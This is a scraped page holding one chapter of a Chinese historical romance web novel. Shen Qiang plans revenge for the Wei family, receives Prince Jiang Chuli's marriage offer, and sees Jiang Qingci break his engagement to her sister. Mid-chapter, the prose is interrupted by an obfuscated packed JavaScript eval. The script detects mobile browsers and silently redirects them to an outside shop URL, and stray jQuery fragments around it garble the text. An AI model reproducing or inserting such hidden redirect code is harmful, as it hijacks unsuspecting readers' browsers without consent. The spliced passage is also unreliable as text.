文趣网 > 都市小说 > 姝色撩人 > 65. 【065】
    沈嫱出了侯府,并未回沈府,而是去了朱雀街。这是燕京最繁华的地带,因朱雀桥而闻名。

    夜色渐浓,正是一派华灯初上的景象。

    两岸隔着护城河,街上行人熙熙攘攘,各类商铺林立,不仅有茶坊酒肆,医馆药铺、亦有糕点面铺,皆是令人眼花缭乱。

    沈嫱在一处茶摊落座。

    掌柜微感诧异,寻常来吃茶的基本都是男子,极少会有女子前来。且观她衣着华贵,瞧着便是富贵人家的小姐,不仅生得美艳,气质也极为出挑,忙上前热情的招呼着。

    “姑娘,那便是鸿运坊。”玲珑抬手指了指对面,朝沈嫱压低声音道:“听闻申尚这两日都来了赌坊。”

    沈嫱抬眼望去,便见檐下灯笼晕黄,高悬着的牌匾刻着“鸿运坊”三个大字,在这夜色中犹为显眼。

    “奴婢也不确定他今晚会不会来,不过前两晚都是这个时辰......”

    沈嫱淡淡道:“不急,等着便是。”

    正在此时,掌柜很快奉上茶,还有一碟精致的点心,微笑道:“两位姑娘请慢用。”

    沈嫱端起茶盏,碧绿色的茶叶漂浮着,不紧不慢的饮了口。

    正是热闹的时候,鸿运坊时不时有人进进出出。

    玲珑仔细看着,生怕看错人。

    也不知过了多久,长街依然灯火通明,街道两旁的茶坊瓦肆时不时传出戏曲声,令人拍案叫绝。

    玲珑突然道:“姑娘,申尚出来了。”

    沈嫱眸光微凝,顺着她手指的方向看去,果然便见到一名灰衣男子正从赌坊走出来,似乎赢了钱,他怀中揣得满满当当,面上洋溢着得意的笑容。

    申尚离开鸿运坊,很快便去了旁边的青楼,沈嫱看着他的身影逐渐消失在视线,眉头微微蹙起。

    玲珑悄声道:“申尚此人不仅好赌,还十分好色,奴婢打听到他平日去得最多的地方,除了鸿运坊便是旁边的红杏楼。”

    沈嫱没有说话,心中却有了思量,她微微一笑,继而起身道:“今日没有白来一趟,走罢。”话落便将银钱放置在茶桌上。

    玲珑不知她此举何意,但却知晓沈嫱定然已有打算,便不多言,准备跟着她一道离开。

    谁知刚起身,便有一名侍卫模样打扮的男子,拦住两人去路,朝着沈嫱道:“沈二姑娘,主子有请。”

    沈嫱认得这人,应是江楚黎身边的暗卫,上次在街上,便是他将那贼人送去京兆府衙。

    街上人声鼎沸。

    沈嫱略微思忖片刻,问道:“他在何处?”

    凌轩回道:“揽月楼,主子已等候沈二姑娘许久。”

    约摸过了小半个时辰,沈嫱随着凌轩去了揽月楼。

    这是观夜景极佳的位置,站在楼台上面,不仅可以俯瞰整个燕京城。因明月高悬,仿佛触手可及,得名“揽月楼”。

    江楚黎听闻声响,转身看向沈嫱,面上含着温润如玉的笑容,他道:“美景配美人,嫱嫱来得正好。”

    沈嫱缓步走近,抬眼看向他道:“殿下邀我来此,是有何事?”

    “揽月楼台可以看到燕京最美的夜景,自然是想要嫱嫱前来观赏一番了。”

    沈嫱容色平静,凝眸眺望远方。

    夜色中的燕京城华灯璀璨,朱雀桥上游人如织,护城河上停着几艘精致的画舫,两岸的秦楼楚馆传出丝竹管弦之声,街道上宝马雕车,真真是一派锦绣繁华的景象。

    良久轻叹一声:“确实很美。”

    江楚黎撑开折扇,偏头看向沈嫱,温柔出声:“揽月楼隶属于皇家,寻常人等不得靠近。嫱嫱若是喜欢,以后可以常来。”顿了须臾,又道:“有我的命令,他们不敢拦你。”

    沈嫱垂眸不语。

    江楚黎认真盯着她,忽而轻轻一笑:“嫱嫱,你为何要拒绝我?”

    沈嫱怔住,沉默半晌,方才开口:“我与殿下不是同路人。”

    “可我不这么认为。”江楚黎凝望着城墙上的一盏盏明灯,低声道:“你想做任何事,我都可以替你办到。”

    “卫家的事情我已清楚,你若要报仇,仅凭一己之力,未免太过艰难。当年卫阳含冤而死,京兆府衙也被买通了人手,不然他不可能那么快被定罪。”

    沈嫱神色一凛,冷声问:“殿下的意思是说此事与京兆尹也有干系?”

    “不止。”江楚黎道:“刑部与大理寺也渎于职守,这才让冤案发生。”

    沈嫱闭了闭眼,不禁攥紧掌心,又问:“殿下为何要告诉我这些?”

    江楚黎收拢折扇,黑漆的瞳仁仔细看着她,道:“我想替你报仇。”

    冷月寂寂,忽有夜风拂面。

    沈嫱愣了片刻,倏而回过神来,淡淡出言:“若是承了殿下的情,我怕是还不起。”

    “你当初救我一命,说来本就是我欠你的恩情。”江楚黎眉眼含笑,竟起了逗趣的心思,低首凑近她道:“嫱嫱,你说是不是?”

    男人一袭白衣胜雪,俊颜近在咫尺,似乎只要抬头便能碰到他的下巴。不同于江青辞身上清淡的松木香,他用的是馥郁的龙涎香。

    香气很快萦绕在鼻尖,令她往后退开半步。

    沈嫱微微侧首道:“不用劳烦殿下,卫家的仇,自当由我亲自来报。”

    江楚黎若有所思的注视着她,继而低低笑了一下:“既如此,便依你。”言罢又认真道:“先前在庆功宴上,我已向父皇表明由自己挑选妻子。”

    沈嫱长而卷翘的眼睫轻颤了下。

    不料江楚黎继续道:“嫱嫱,待你想明白,我会立刻向父皇请旨赐婚。”

    *

    沈嫱离开揽月楼,很快便同玲珑回了沈府。

    已至亥时,府内万籁俱寂。

    沈嫱却神思清明,竟无丝毫睡意。

    江楚黎说的话犹在耳边回响,他要向陛下请旨赐婚,允诺予她七皇妃之位。

    若说先前沈嫱自然不在意,但若小舅的死真与京兆尹有关,则事情便难办了。

    即便沈成粱贵为首辅,但她只是个不受宠的庶女,想要替小舅翻案何其艰难?

    沈嫱坐在桌前,轻轻蹙了下眉。

    她不愿江楚黎插手,但若是成为七皇子妃,自己便可以离报仇更近一步。不止要除掉纪氏,扳倒沈家,更重要的是要替小舅洗去污名,替整个卫家平反。

    少倾,玲珑擎着盏灯走近,轻声提醒:“姑娘,夜深了,不若先歇息,有什么事情明日再想。”

    沈嫱感到脑子一团乱麻,竟是怎么都理不清,干脆也不再去想,起身往床榻上走去。

    玲珑瞧见她歇下,这才挑灭灯芯,旋即退去外间守着。

    这一夜,沈嫱不知为何竟又梦到江青辞。

    那张清俊的容颜明显含着不悦,尤其是看向她腕间的玉镯时,周身似是覆了层冰雪。

    忽而画面一转,江青辞又将她抵至墙角,男人眉目清冽若寒潭,修长的指节捏着她下颌,温凉的嗓音道:“不准成为七皇子妃。”

    沈嫱想要避开,偏他力气实在太大,竟是怎么也挣脱不开,不由恼道:“凭何要答应你?”

    江青辞闻言,神色愈发冷清,幽深的眼底却窜起一簇火苗,忽而低首狠狠吻了上去。

    似是带有惩罚的意味,犹如狂风骤雨,险些要让她喘不过气。

    沈嫱身体发软,刚张开嘴想要说话,他便灵巧的长驱直入,将她所有的呜咽声悉数吞噬殆尽......

    *

    翌日卯时初。

    沈嫱起身后,想起昨夜的梦,仍感到脸颊发烫。玲珑伺候着洗漱,瞧见她心不在焉的模样,不由笑问:“姑娘想什么事这么入神?”

    沈嫱神思回拢,低垂着眉眼道:“没什么。”

    待收拾妥当,这才前往香榭居去给纪氏请安。

    自从前段时日,沈慕璃被罚跪祠堂,倒也学聪明了些,不敢在明面上针锋相对。

    尤其是沈成粱在场的时候,端的是一副惹人怜爱的模样,父女之间又恢复了往日温情。

    沈嫱也无甚在意,毕竟沈成粱本就偏爱沈慕璃,当日不过是气得狠了,这才罚了她。本也没指望因此便能让他对沈慕璃感到厌弃。

    至于纪氏,仍是笑里藏刀,不过因两人交手总是处于下风,始终对她心生忌惮。偏又挑不出沈嫱的错处,只得暂且按捺住。

    及至请安完毕,沈嫱又回了芝兰苑。等到正午过后,用了膳食,便在庭院里闲逛。

    正在此时,玲珑却穿过月洞门,款款迈入内院,道:“姑娘,江世子来了府上。”

    如今早已立秋,天气没有之前炎热,早晚很是凉爽,便连中午的太阳也没那么烈。

    空气中还能闻到桂花馥郁的香气,尤其昨晚后半夜里下了一场雨,金黄的桂花铺满了青石板。

    沈嫱正折了株桂花枝,闻言漫不经心的一笑:“他来府上与我何干?”

    玲珑顿了须臾,倏而走近压低声音道:“奴婢听闻江世子前来......是想要同大姑娘退婚。”

    沈嫱手中动作一顿,眸中掠过愕然。

    “什么时候的事?”

    “将才不久。”玲珑道:“老爷似乎气得不轻,但江世子铁了心要退这门亲事,老爷也没办法,沉着脸好半天没有说话。”

    “当时夫人和大姑娘也在场,听闻此事脸色亦是难看得很。尤其是大姑娘更是哭着跑回院中,这会儿府中都传遍了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715776|202572||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>沈嫱微微挑眉,唇角扬起一丝得逞的笑意。

    沈成粱想要挑个乘龙快婿,纪氏看重英亲王府门楣,沈慕璃想要嫁得心上人。

    她就偏不如他们的愿。

    沈嫱姿态闲散地把玩着手中的桂花枝,脑中却浮现出昨日在忠勇侯府,江青辞恼怒时的脸色。

    原以为他会继续自欺欺人,未料到动作倒是快。

    沈嫱怔了下,忽而不甚在意的笑笑,无论江青辞是何想法,总之她的目的达到了。

    倒是玲珑略微迟疑道:“姑娘,您说江世子是不是为了您?”

    “是与不是都不重要。”沈嫱慢悠悠往回走:“只要能让沈家人心里头不顺畅,我就高兴。”

    另一厢,江青辞正在前厅。

    沈成粱脸色阴云密布,即便平日里待他再如何欣赏,此刻也全然没有了往日的和气。

    厅内陷入死一般的寂静。

    仆役们早已退了下去,唯有两人静默良久。

    江青辞容色平静,鸦羽似的眼睫低垂,低声道:“在下前来府中,一则是为退婚,二则是亲自赔罪。此举实是在下之错,沈大人无论如何责怪,亦不会心生怨言。”

    “江世子言重,你乃朝廷新贵,陛下看重的能臣,亦是王亲贵胄。”沈成粱冷冷瞥他一眼:“老夫岂敢怪罪?”

    “既然江世子看不上我沈家,打定主意要退这门亲事,我亦没有赖着的道理。只是老夫着实没有想到,江世子素有品性高洁的美名,为人亦是光风霁月,没想到竟会出尔反尔。”

    沈成粱不无嘲讽的道:“想必是沈家高攀,小女才疏学浅,怕是配不上江世子。”

    江青辞抿唇不语。

    沈成粱满腔怒火,终是不好发作,唯有说两句难听话,到底是拂袖离去。

    厅堂中,便只剩下江青辞。

    主人家都已离开,他也没有再留下的道理,将才起身走出去,忽有两名丫鬟经过花园,手中端着乌漆托盘,其间放置着瓷盏。

    蓝衣丫鬟边走边道:“二姑娘性子温和,不似大姑娘动辄打骂,我倒是情愿去芝兰苑伺候。”

    另一名粉衣丫鬟悄声附和:“话虽如此,但二姑娘不得宠,跟着她可是没有前途。”

    “你可莫要小看二姑娘,指不准哪天便走了运道。我瞧她待身边人倒是好,你看她那名贴身侍候的婢女玲珑,穿的衣裳料子都是上等,比起香榭居的大丫鬟可不差。”

    “这倒是,不过此话可万万不能让大姑娘听见,小心她撕烂你的嘴。”粉衣丫鬟似是想起什么,继而又忧心忡忡道:大姑娘方才被退了婚,此刻正在气头上,怕是接下来的日子都不太平。我们这些做下人的,定要小心行事,以免更加惹恼了她。”

    蓝衣丫鬟闻言,不由瑟缩了一下,两人不再碎嘴,低首急匆匆往香榭居行去。

    江青辞眉头轻蹙了一下。

    将才两人的对话,自然听得清清楚楚,他站在原地,似是有些发怔,也不知在想什么。

    等回到英亲王府的时候,正是暮色渐浓。

    英亲王妃正在厅里来回踱步,她实在感到诧异,昨日江青辞将才说要同沈家退婚,原以为也得隔段时日,谁知他今日便去了沈家。

    她向来拎得清,心知此举定会得罪沈家,且本就是英亲王府之过,是以瞧见江青辞回府,立刻走上前询问:“沈家如何说?”

    江青辞颔首:“沈家同意退婚。”

    英亲王妃一时哑然,顿了须臾,方才轻叹口气:“沈家也是好脸面的,你既铁了心要退这门亲事,人家又怎会不答应?”

    江青辞平静道:“都是儿子的不是,让母亲忧心了。”

    英亲王妃在旁边的黄梨木椅上落座,旋即又轻声提醒:“总归当初这门亲事,也是你挑的沈家大姑娘,如今突然退婚,实是说不过去。改日你须得再备上厚礼,亲自上门赔罪才是。”

    “儿子省得。”

    英亲王妃仔细打量着他的神色,倏而又揉了揉眉心,道:“你素来稳重,许多事我也不好过多插手,原想着等到明年春日便能成婚,未曾想却......”

    她话音一顿,继而又轻叹一声:“罢了罢了,此事既已落定,我也不再多说什么。只是退婚定会有损沈家大姑娘名声,亦会连累沈二姑娘,如此清清白白的女儿家,莫要让些闲言碎语传出。”

    英亲王妃再明白不过,燕京城的夫人小姐最爱背地里嚼舌根。这些人平素里无事,便喜欢互相邀约吃茶。眼下英亲王府突然与沈家退亲,此事很快便会传出去,那些人自然免不了笑话。

    江青辞道:“儿子会妥善处理好此事。”

    英亲王妃不再多言,瞧着天色已黑,扶着婢女的手回去院中歇息。